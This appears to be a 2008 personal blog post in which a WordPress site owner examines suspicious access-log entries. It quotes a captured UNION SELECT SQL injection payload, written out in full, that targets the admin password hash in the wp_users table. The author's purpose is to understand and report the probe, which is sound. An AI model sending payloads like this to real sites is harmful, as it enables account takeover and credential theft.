The other day I noticed an odd pattern in the access log file for my WordPress weblog. The pattern went like this:
***
87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] “HEAD /wpblog/wp-login.php?action=logout HTTP/1.0″ 302 0 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] “POST /wpblog/wp-admin/admin-ajax.php HTTP/1.0″ 404 275 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:49 -0700] “GET /wpblog/xmlrpc.php HTTP/1.0″ 200 42 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:46 -0700] “HEAD /wpblog/wp-admin/ HTTP/1.0″ 302 0 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:50 -0700] “POST /wpblog/xmlrpc.php HTTP/1.0″ 200 774 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] “POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0″ 200 464 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] “POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0″ 200 141 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
[repeat 50 times]
87.118.110.20 - - [27/Mar/2008:14:52:34 -0700] “GET /wpblog/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.0″ 200 15947 “-” “Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)” “core3.com”
***
Googling on wp-trackback.php produced a list of matches including a page titled Wordpress WP-Trackback.PHP SQL Injection Vulnerability which describes a flaw in Wordpress 1.5 that allows SQL to be run against the MySQL database which drives Wordpress.
***
The last transaction of the block contained the following code which looks like a SQL query of passwords from the wp_users table where id is 1.
cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1
Nice……… Does the “where id = 1″ mean someone was fishing for the admin password?
***
Being curious, I googled 87.118.110.20 which is the originating IP address for the transactions. Maybe I shouldn’t have been surprised. The IP address 87.118.110.20 appears on sites like www.gslzcmso.chinasafety.gov.cn/bguest.php, www.winsuntex.com/bguest.php, www.zczj.gov.cn/bguest.php, and www.kaifaqu.gov.cn/com/xcliguang/bguest.php.
***
What does it mean? Did someone from south east Asia get the admin password for iPhone Cafe? You tell me. I’m running Wordpress version 2.0 which includes the fix for a SQL Injection Attack, so I guess iPhone Cafe is safe… for now…..